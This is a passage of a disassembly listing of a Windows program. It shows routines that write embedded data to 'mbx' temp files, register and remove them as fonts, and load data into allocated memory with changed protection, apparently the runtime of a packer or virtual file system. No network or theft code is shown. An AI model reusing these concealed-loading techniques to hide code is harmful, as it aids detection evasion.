		mov	eax, ds:dword_424864
		mov	[ebp+var_6C], eax
		cmp	[ebp+var_6C], 0
		jz	short loc_4139F0
		mov	eax, [ebp+var_6C]
		add	eax, 10h
		push	eax
		call	ds:dword_42101C	; RtlEnterCriticalSection
		mov	[ebp+var_70], 1
		jmp	short loc_4139F4
; ---------------------------------------------------------------------------


loc_4139F0:				; CODE XREF: sub_41396C+6Fj
		and	[ebp+var_70], 0


loc_4139F4:				; CODE XREF: sub_41396C+82j
		movzx	eax, [ebp+var_70]
		test	eax, eax
		jz	loc_413D31
		and	[ebp+var_4], 0
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		push	[ebp+var_20]
		mov	ecx, ds:dword_424864
		call	sub_41EB4C
		mov	[ebp+var_30], eax
		mov	eax, [ebp+var_30]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_34], eax
		cmp	[ebp+var_30], 0
		jnz	short loc_413A3E
		push	ds:off_4214F0
		push	22h
		push	ds:off_4214F4
		call	sub_41BB7C


loc_413A3E:				; CODE XREF: sub_41396C+BDj
		mov	eax, ds:dword_424868
		mov	[ebp+var_74], eax
		cmp	[ebp+var_74], 0
		jz	short loc_413A5F
		mov	eax, [ebp+var_74]
		add	eax, 10h
		push	eax
		call	ds:dword_42101C	; RtlEnterCriticalSection
		mov	[ebp+var_78], 1
		jmp	short loc_413A63
; ---------------------------------------------------------------------------


loc_413A5F:				; CODE XREF: sub_41396C+DEj
		and	[ebp+var_78], 0


loc_413A63:				; CODE XREF: sub_41396C+F1j
		movzx	eax, [ebp+var_78]
		test	eax, eax
		jz	short loc_413ACF
		mov	[ebp+var_4], 1
		mov	eax, [ebp+var_30]
		push	dword ptr [eax]
		mov	ecx, ds:dword_424868
		call	sub_41EB4C
		test	eax, eax
		jz	short loc_413AA8
		push	0FFFFFFFFh
		mov	[ebp+var_84], 1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41042A
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_84]
		jmp	loc_413D33
; ---------------------------------------------------------------------------


loc_413AA8:				; CODE XREF: sub_41396C+118j
		and	[ebp+var_4], 0
		call	sub_413AB3
		jmp	short loc_413ACF
sub_41396C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_413AB3	proc near		; CODE XREF: sub_41396C+140p
					; DATA XREF: _4:0042131Co
		mov	eax, ds:dword_424868
		mov	[ebp-7Ch], eax
		cmp	dword ptr [ebp-7Ch], 0
		jz	short locret_413ACE
		mov	eax, [ebp-7Ch]
		add	eax, 10h
		push	eax
		call	ds:dword_421018	; RtlLeaveCriticalSection

locret_413ACE:				; CODE XREF: sub_413AB3+Cj
		retn
sub_413AB3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41396C


loc_413ACF:				; CODE XREF: sub_41396C+FDj
					; sub_41396C+145j
		push	104h
		call	sub_41BA4A
		pop	ecx
		mov	[ebp+var_50], eax
		mov	eax, [ebp+var_50]
		mov	[ebp+var_2C], eax
		push	104h
		call	sub_41BA4A
		pop	ecx
		mov	[ebp+var_54], eax
		mov	eax, [ebp+var_54]
		mov	[ebp+var_1C], eax
		push	[ebp+var_1C]
		push	104h
		call	ds:dword_4246B4	; GetTempPathA
		push	[ebp+var_2C]
		push	0
		push	offset aMbx	; "mbx"
		push	[ebp+var_1C]
		call	ds:dword_4246B0	; GetTempFileNameA
		push	0
		push	0
		push	4
		push	0
		push	1
		push	40000000h
		push	[ebp+var_2C]
		call	ds:dword_424628	; CreateFileA
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0FFFFFFFFh
		jnz	short loc_413B5B
		push	0FFFFFFFFh
		mov	[ebp+var_88], 1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41042A
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_88]
		jmp	loc_413D33
; ---------------------------------------------------------------------------


loc_413B5B:				; CODE XREF: sub_41396C+1CBj
		push	1000h
		call	sub_41BA4A
		pop	ecx
		mov	[ebp+var_58], eax
		mov	eax, [ebp+var_58]
		mov	[ebp+var_24], eax
		and	[ebp+var_38], 0


loc_413B73:				; CODE XREF: sub_41396C+2BFj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_38]
		cmp	ecx, [eax+8]
		jnb	loc_413C30
		mov	eax, [ebp+var_34]
		mov	eax, [eax+8]
		mov	[ebp+var_48], eax
		cmp	[ebp+var_48], 1000h
		jbe	short loc_413B9B
		mov	[ebp+var_48], 1000h


loc_413B9B:				; CODE XREF: sub_41396C+226j
		lea	eax, [ebp+var_40]
		push	eax
		push	0
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+var_48]
		push	[ebp+var_24]
		push	[ebp+var_20]
		call	sub_415175
		test	eax, eax
		jz	short loc_413BBD
		cmp	[ebp+var_40], 0
		jnz	short loc_413BDF


loc_413BBD:				; CODE XREF: sub_41396C+249j
		push	0FFFFFFFFh
		mov	[ebp+var_8C], 1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41042A
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_8C]
		jmp	loc_413D33
; ---------------------------------------------------------------------------


loc_413BDF:				; CODE XREF: sub_41396C+24Fj
		push	0
		lea	eax, [ebp+var_44]
		push	eax
		push	[ebp+var_3C]
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	ds:dword_42473C	; WriteFile
		test	eax, eax
		jz	short loc_413C00
		mov	eax, [ebp+var_44]
		cmp	eax, [ebp+var_3C]
		jz	short loc_413C22


loc_413C00:				; CODE XREF: sub_41396C+28Aj
		push	0FFFFFFFFh
		mov	[ebp+var_90], 1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41042A
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_90]
		jmp	loc_413D33
; ---------------------------------------------------------------------------


loc_413C22:				; CODE XREF: sub_41396C+292j
		mov	eax, [ebp+var_38]
		add	eax, [ebp+var_3C]
		mov	[ebp+var_38], eax
		jmp	loc_413B73
; ---------------------------------------------------------------------------


loc_413C30:				; CODE XREF: sub_41396C+210j
		push	[ebp+var_28]
		call	ds:dword_424624	; CloseHandle
		or	[ebp+var_28], 0FFFFFFFFh
		push	[ebp+var_2C]
		call	ds:dword_42475C	; AddFontResourceA
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax], 0
		jnz	short loc_413C5C
		push	[ebp+var_2C]
		call	ds:dword_424640	; DeleteFileA


loc_413C5C:				; CODE XREF: sub_41396C+2E5j
		push	8
		call	sub_41BA4A
		pop	ecx
		mov	[ebp+var_5C], eax
		cmp	[ebp+var_5C], 0
		jz	short loc_413C87
		mov	eax, [ebp+var_5C]
		and	dword ptr [eax], 0
		mov	eax, [ebp+var_5C]
		mov	ecx, [ebp+var_2C]
		mov	[eax+4], ecx
		mov	eax, [ebp+var_5C]
		mov	[ebp+var_94], eax
		jmp	short loc_413C8E
; ---------------------------------------------------------------------------


loc_413C87:				; CODE XREF: sub_41396C+2FFj
		and	[ebp+var_94], 0


loc_413C8E:				; CODE XREF: sub_41396C+319j
		push	[ebp+var_94]
		mov	eax, [ebp+var_30]
		push	dword ptr [eax]
		mov	ecx, ds:dword_424868
		call	sub_410000
		and	[ebp+var_2C], 0
		push	0FFFFFFFFh
		mov	[ebp+var_98], 1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41042A
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_98]
		jmp	short loc_413D33
; END OF FUNCTION CHUNK	FOR sub_41396C

; =============== S U B	R O U T	I N E =======================================



sub_413CC7	proc near		; DATA XREF: _4:00421310o
		mov	eax, ds:dword_424864
		mov	[ebp-80h], eax
		cmp	dword ptr [ebp-80h], 0
		jz	short loc_413CE2
		mov	eax, [ebp-80h]
		add	eax, 10h
		push	eax
		call	ds:dword_421018	; RtlLeaveCriticalSection


loc_413CE2:				; CODE XREF: sub_413CC7+Cj
		cmp	dword ptr [ebp-20h], 0FFFFFFFFh
		jz	short loc_413CF4
		lea	eax, [ebp-4Ch]
		push	eax
		push	dword ptr [ebp-20h]
		call	sub_41473F


loc_413CF4:				; CODE XREF: sub_413CC7+1Fj
		cmp	dword ptr [ebp-28h], 0FFFFFFFFh
		jz	short loc_413D03
		push	dword ptr [ebp-28h]
		call	ds:dword_424624	; CloseHandle


loc_413D03:				; CODE XREF: sub_413CC7+31j
		mov	eax, [ebp-2Ch]
		mov	[ebp-60h], eax
		push	dword ptr [ebp-60h]
		call	sub_41BACD
		pop	ecx
		mov	eax, [ebp-1Ch]
		mov	[ebp-64h], eax
		push	dword ptr [ebp-64h]
		call	sub_41BACD
		pop	ecx
		mov	eax, [ebp-24h]
		mov	[ebp-68h], eax
		push	dword ptr [ebp-68h]
		call	sub_41BACD
		pop	ecx
		retn
sub_413CC7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41396C


loc_413D31:				; CODE XREF: sub_41396C+53j
					; sub_41396C+5Dj ...
		xor	eax, eax


loc_413D33:				; CODE XREF: sub_41396C+137j
					; sub_41396C+1EAj ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; END OF FUNCTION CHUNK	FOR sub_41396C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413D44	proc near		; CODE XREF: sub_41E552+20p

var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421320
		push	offset sub_4104E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		or	[ebp+var_20], 0FFFFFFFFh
		and	[ebp+var_1C], 0
		push	0
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_0]
		call	sub_41553D
		test	eax, eax
		jz	loc_413EDA
		movzx	eax, [ebp+var_24]
		test	eax, eax
		jnz	loc_413EDA
		mov	eax, ds:dword_424868
		mov	[ebp+var_34], eax
		cmp	[ebp+var_34], 0
		jz	short loc_413DB8
		mov	eax, [ebp+var_34]
		add	eax, 10h
		push	eax
		call	ds:dword_42101C	; RtlEnterCriticalSection
		mov	[ebp+var_38], 1
		jmp	short loc_413DBC
; ---------------------------------------------------------------------------


loc_413DB8:				; CODE XREF: sub_413D44+5Fj
		and	[ebp+var_38], 0


loc_413DBC:				; CODE XREF: sub_413D44+72j
		movzx	eax, [ebp+var_38]
		test	eax, eax
		jz	loc_413EDA
		and	[ebp+var_4], 0
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		push	[ebp+var_1C]
		mov	ecx, ds:dword_424868
		call	sub_41EB4C
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jz	loc_413EA8
		mov	eax, [ebp+var_28]
		cmp	dword ptr [eax], 0
		jz	short loc_413E08
		push	ds:off_4214F0
		push	70h
		push	ds:off_4214F4
		call	sub_41BB7C


loc_413E08:				; CODE XREF: sub_413D44+AFj
		mov	eax, [ebp+var_28]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_413E24
		push	ds:off_4214F0
		push	71h
		push	ds:off_4214F4
		call	sub_41BB7C


loc_413E24:				; CODE XREF: sub_413D44+CBj
		mov	eax, [ebp+var_28]
		push	dword ptr [eax+4]
		call	ds:dword_42476C	; RemoveFontResourceA
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		mov	eax, [ebp+var_28]
		push	dword ptr [eax+4]
		call	ds:dword_424640	; DeleteFileA
		push	[ebp+var_1C]
		mov	ecx, ds:dword_424868
		call	sub_41EBBB
		mov	[ebp+var_30], eax
		mov	eax, [ebp+var_30]
		mov	[ebp+var_2C], eax
		cmp	[ebp+var_2C], 0
		jz	short loc_413E8B
		mov	eax, [ebp+var_2C]
		mov	eax, [eax+4]
		mov	[ebp+var_3C], eax
		push	[ebp+var_3C]
		call	sub_41BACD
		pop	ecx
		push	1
		pop	eax
		and	eax, 1
		test	eax, eax
		jz	short loc_413E83
		push	[ebp+var_2C]
		call	sub_41BACD
		pop	ecx


loc_413E83:				; CODE XREF: sub_413D44+134j
		mov	eax, [ebp+var_2C]
		mov	[ebp+var_44], eax
		jmp	short loc_413E8F
; ---------------------------------------------------------------------------


loc_413E8B:				; CODE XREF: sub_413D44+118j
		and	[ebp+var_44], 0


loc_413E8F:				; CODE XREF: sub_413D44+145j
		push	0FFFFFFFFh
		mov	[ebp+var_48], 1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41042A
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_48]
		jmp	short loc_413EDC
; ---------------------------------------------------------------------------


loc_413EA8:				; CODE XREF: sub_413D44+A3j
		push	0FFFFFFFFh
		and	[ebp+var_4C], 0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41042A
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_4C]
		jmp	short loc_413EDC
; ---------------------------------------------------------------------------


loc_413EBE:				; DATA XREF: _4:00421328o
		mov	eax, ds:dword_424868
		mov	[ebp+var_40], eax
		cmp	[ebp+var_40], 0
		jz	short locret_413ED9
		mov	eax, [ebp+var_40]
		add	eax, 10h
		push	eax
		call	ds:dword_421018	; RtlLeaveCriticalSection

locret_413ED9:				; CODE XREF: sub_413D44+186j
		retn
; ---------------------------------------------------------------------------


loc_413EDA:				; CODE XREF: sub_413D44+41j
					; sub_413D44+4Dj ...
		xor	eax, eax


loc_413EDC:				; CODE XREF: sub_413D44+162j
					; sub_413D44+178j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_413D44	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413EED	proc near		; CODE XREF: sub_41E836+Bp

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421330
		push	offset sub_4104E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	eax, ds:dword_424860
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jz	short loc_413F33
		mov	eax, [ebp+var_20]
		add	eax, 10h
		push	eax
		call	ds:dword_42101C	; RtlEnterCriticalSection
		mov	[ebp+var_24], 1
		jmp	short loc_413F37
; ---------------------------------------------------------------------------


loc_413F33:				; CODE XREF: sub_413EED+31j
		and	[ebp+var_24], 0


loc_413F37:				; CODE XREF: sub_413EED+44j
		movzx	eax, [ebp+var_24]
		test	eax, eax
		jz	loc_413FCC
		and	[ebp+var_4], 0
		push	[ebp+arg_0]
		mov	ecx, ds:dword_424860
		call	sub_41EB4C
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jnz	short loc_413F74
		push	0FFFFFFFFh
		and	[ebp+var_2C], 0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41042A
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_2C]
		jmp	short loc_413FCE
; ---------------------------------------------------------------------------


loc_413F74:				; CODE XREF: sub_413EED+6Fj
		push	8000h
		push	0
		push	[ebp+arg_0]
		call	ds:dword_424728	; VirtualFree
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		push	[ebp+arg_0]
		mov	ecx, ds:dword_424860
		call	sub_41EBBB
		push	0FFFFFFFFh
		mov	[ebp+var_30], 1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41042A
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_30]
		jmp	short loc_413FCE
; ---------------------------------------------------------------------------


loc_413FB0:				; DATA XREF: _4:00421338o
		mov	eax, ds:dword_424860
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jz	short locret_413FCB
		mov	eax, [ebp+var_28]
		add	eax, 10h
		push	eax
		call	ds:dword_421018	; RtlLeaveCriticalSection

locret_413FCB:				; CODE XREF: sub_413EED+CFj
		retn
; ---------------------------------------------------------------------------


loc_413FCC:				; CODE XREF: sub_413EED+50j
		xor	eax, eax


loc_413FCE:				; CODE XREF: sub_413EED+85j
					; sub_413EED+C1j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_413EED	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413FDF	proc near		; CODE XREF: sub_41E7F7+17p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_40		= byte ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421340
		push	offset sub_4104E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 40h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_20], 0
		mov	eax, [ebp+arg_14]
		and	dword ptr [eax], 0
		and	[ebp+var_24], 0
		mov	[ebp+var_1C], 2
		mov	eax, ds:dword_424864
		mov	[ebp+var_44], eax
		cmp	[ebp+var_44], 0
		jz	short loc_41403A
		mov	eax, [ebp+var_44]
		add	eax, 10h
		push	eax
		call	ds:dword_42101C	; RtlEnterCriticalSection
		mov	[ebp+var_48], 1
		jmp	short loc_41403E
; ---------------------------------------------------------------------------


loc_41403A:				; CODE XREF: sub_413FDF+46j
		and	[ebp+var_48], 0


loc_41403E:				; CODE XREF: sub_413FDF+59j
		movzx	eax, [ebp+var_48]
		test	eax, eax
		jz	loc_414201
		and	[ebp+var_4], 0
		push	[ebp+arg_0]
		mov	ecx, ds:dword_424864
		call	sub_41EB4C
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jnz	short loc_41407E
		push	0FFFFFFFFh
		and	[ebp+var_50], 0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41042A
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_50]
		jmp	loc_414203
; ---------------------------------------------------------------------------


loc_41407E:				; CODE XREF: sub_413FDF+84j
		mov	eax, [ebp+var_28]
		mov	eax, [eax]
		mov	[ebp+var_2C], eax
		mov	eax, [ebp+var_2C]
		mov	eax, [eax]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+var_30]
		mov	ecx, [ebp+arg_C]
		cmp	ecx, [eax+8]
		jbe	short loc_4140A6
		push	57h
		call	ds:dword_42470C	; RtlRestoreLastWin32Error
		jmp	loc_4141B6
; ---------------------------------------------------------------------------


loc_4140A6:				; CODE XREF: sub_413FDF+B8j
		cmp	[ebp+arg_10], 0
		jnz	short loc_4140B8
		mov	eax, [ebp+var_30]
		mov	eax, [eax+8]
		sub	eax, [ebp+arg_C]
		mov	[ebp+arg_10], eax


loc_4140B8:				; CODE XREF: sub_413FDF+CBj
		mov	eax, [ebp+arg_10]
		add	eax, [ebp+arg_C]
		mov	ecx, [ebp+var_30]
		cmp	eax, [ecx+8]
		jbe	short loc_4140D3
		push	57h
		call	ds:dword_42470C	; RtlRestoreLastWin32Error
		jmp	loc_4141B6
; ---------------------------------------------------------------------------


loc_4140D3:				; CODE XREF: sub_413FDF+E5j
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_54], eax
		cmp	[ebp+var_54], 0
		jbe	short loc_4140F7
		cmp	[ebp+var_54], 2
		jbe	short loc_4140F0
		cmp	[ebp+var_54], 0F001Fh
		jz	short loc_4140F0
		jmp	short loc_4140F7
; ---------------------------------------------------------------------------


loc_4140F0:				; CODE XREF: sub_413FDF+104j
					; sub_413FDF+10Dj
		mov	[ebp+var_1C], 4


loc_4140F7:				; CODE XREF: sub_413FDF+FEj
					; sub_413FDF+10Fj
		push	4
		push	1000h
		push	[ebp+arg_10]
		push	0
		call	ds:dword_424724	; VirtualAlloc
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jnz	short loc_414117
		jmp	loc_4141B6
; ---------------------------------------------------------------------------


loc_414117:				; CODE XREF: sub_413FDF+131j
		push	0
		push	0
		push	[ebp+arg_C]
		push	[ebp+arg_0]
		call	sub_41441F
		and	[ebp+var_34], 0


loc_41412A:				; CODE XREF: sub_413FDF+192j
		mov	eax, [ebp+var_34]
		cmp	eax, [ebp+arg_10]
		jnb	short loc_414173
		and	[ebp+var_3C], 0
		lea	eax, [ebp+var_38]
		push	eax
		push	0
		lea	eax, [ebp+var_3C]
		push	eax
		mov	eax, [ebp+arg_10]
		sub	eax, [ebp+var_34]
		push	eax
		mov	eax, [ebp+var_20]
		add	eax, [ebp+var_34]
		push	eax
		push	[ebp+arg_0]
		call	sub_415175
		test	eax, eax
		jz	short loc_414166
		cmp	[ebp+var_38], 0
		jz	short loc_414166
		cmp	[ebp+var_3C], 0
		jnz	short loc_414168


loc_414166:				; CODE XREF: sub_413FDF+179j
					; sub_413FDF+17Fj
		jmp	short loc_4141B6
; ---------------------------------------------------------------------------


loc_414168:				; CODE XREF: sub_413FDF+185j
		mov	eax, [ebp+var_34]
		add	eax, [ebp+var_3C]
		mov	[ebp+var_34], eax
		jmp	short loc_41412A
; ---------------------------------------------------------------------------


loc_414173:				; CODE XREF: sub_413FDF+151j
		cmp	[ebp+var_1C], 4
		jz	short loc_414192
		lea	eax, [ebp+var_40]
		push	eax
		push	[ebp+var_1C]
		push	[ebp+arg_10]
		push	[ebp+var_20]
		call	ds:dword_42472C	; VirtualProtect
		test	eax, eax
		jnz	short loc_414192
		jmp	short loc_4141B6
; ---------------------------------------------------------------------------


loc_414192:				; CODE XREF: sub_413FDF+198j
					; sub_413FDF+1AFj
		push	[ebp+var_2C]
		push	[ebp+var_20]
		mov	ecx, ds:dword_424860
		call	sub_410000
		mov	eax, [ebp+arg_14]
		mov	ecx, [ebp+var_20]
		mov	[eax], ecx
		and	[ebp+var_20], 0
		mov	[ebp+var_24], 1


loc_4141B6:				; CODE XREF: sub_413FDF+C2j
					; sub_413FDF+EFj ...
		push	0FFFFFFFFh
		mov	[ebp+var_58], 1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41042A
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_58]
		jmp	short loc_414203
; ---------------------------------------------------------------------------


loc_4141CF:				; DATA XREF: _4:00421348o
		mov	eax, ds:dword_424864
		mov	[ebp+var_4C], eax
		cmp	[ebp+var_4C], 0
		jz	short loc_4141EA
		mov	eax, [ebp+var_4C]
		add	eax, 10h
		push	eax
		call	ds:dword_421018	; RtlLeaveCriticalSection


loc_4141EA:				; CODE XREF: sub_413FDF+1FCj
		cmp	[ebp+var_20], 0
		jz	short locret_414200
		push	8000h
		push	0
		push	[ebp+var_20]
		call	ds:dword_424728	; VirtualFree

locret_414200:				; CODE XREF: sub_413FDF+20Fj
		retn
; ---------------------------------------------------------------------------


loc_414201:				; CODE XREF: sub_413FDF+65j
		xor	eax, eax


loc_414203:				; CODE XREF: sub_413FDF+9Aj
					; sub_413FDF+1EEj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	18h
sub_413FDF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414214	proc near		; CODE XREF: sub_41E77F+11p
					; sub_41E7BB+11p

var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00414331 SIZE 00000013 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421350
		push	offset sub_4104E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		mov	eax, ds:dword_424864
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jz	short loc_414260
		mov	eax, [ebp+var_28]
		add	eax, 10h
		push	eax
		call	ds:dword_42101C	; RtlEnterCriticalSection
		mov	[ebp+var_2C], 1
		jmp	short loc_414264
; ---------------------------------------------------------------------------


loc_414260:				; CODE XREF: sub_414214+37j
		and	[ebp+var_2C], 0


loc_414264:				; CODE XREF: sub_414214+4Aj
		movzx	eax, [ebp+var_2C]
		test	eax, eax
		jz	loc_414331
		and	[ebp+var_4], 0
		push	[ebp+arg_0]
		mov	ecx, ds:dword_424864
		call	sub_41EB4C
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jz	short loc_41430A
		push	0
		push	0
		push	3
		push	0
		push	1
		push	80000000h
		mov	eax, [ebp+var_1C]
		mov	eax, [eax]
		mov	eax, [eax+0Ch]
		push	dword ptr [eax+0Ch]
		call	ds:dword_424628	; CreateFileA
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax], 0
		jz	short loc_4142F1
		push	10h
		call	sub_41BA4A
		pop	ecx
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_24]
		mov	[ebp+var_20], eax
		mov	esi, [ebp+var_1C]
		mov	edi, [ebp+var_20]
		movsd
		movsd
		movsd
		movsd
		mov	eax, [ebp+var_20]
		mov	ecx, [ebp+arg_4]
		mov	ecx, [ecx]
		mov	[eax+8], ecx
		push	[ebp+var_20]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax]
		mov	ecx, ds:dword_424864
		call	sub_41EC69


loc_4142F1:				; CODE XREF: sub_414214+A2j
		push	0FFFFFFFFh
		mov	[ebp+var_34], 1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41042A
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_34]
		jmp	short loc_414333
; ---------------------------------------------------------------------------


loc_41430A:				; CODE XREF: sub_414214+75j
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_414315
		jmp	short loc_414331
sub_414214	endp


; =============== S U B	R O U T	I N E =======================================



sub_414315	proc near		; CODE XREF: sub_414214+FAp
					; DATA XREF: _4:00421358o
		mov	eax, ds:dword_424864
		mov	[ebp-30h], eax
		cmp	dword ptr [ebp-30h], 0
		jz	short locret_414330
		mov	eax, [ebp-30h]
		add	eax, 10h
		push	eax
		call	ds:dword_421018	; RtlLeaveCriticalSection

locret_414330:				; CODE XREF: sub_414315+Cj
		retn
sub_414315	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_414214


loc_414331:				; CODE XREF: sub_414214+56j
					; sub_414214+FFj
		xor	eax, eax


loc_414333:				; CODE XREF: sub_414214+F4j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; END OF FUNCTION CHUNK	FOR sub_414214

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414344	proc near		; CODE XREF: sub_410386+17p
					; sub_413056+39p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_C]
		or	dword ptr [eax], 0FFFFFFFFh
		push	0
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_41553D
		test	eax, eax
		jz	loc_414419
		movzx	eax, [ebp+var_C]
		test	eax, eax
		jnz	loc_414419
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	[ebp+var_8], eax
		push	0
		push	0
		push	3
		push	0
		push	1
		push	80000000h
		mov	eax, [ebp+var_4]
		mov	eax, [eax+0Ch]
		push	dword ptr [eax+0Ch]
		call	ds:dword_424628	; CreateFileA
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax
		mov	eax, [ebp+arg_C]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_414414
		push	0
		push	0
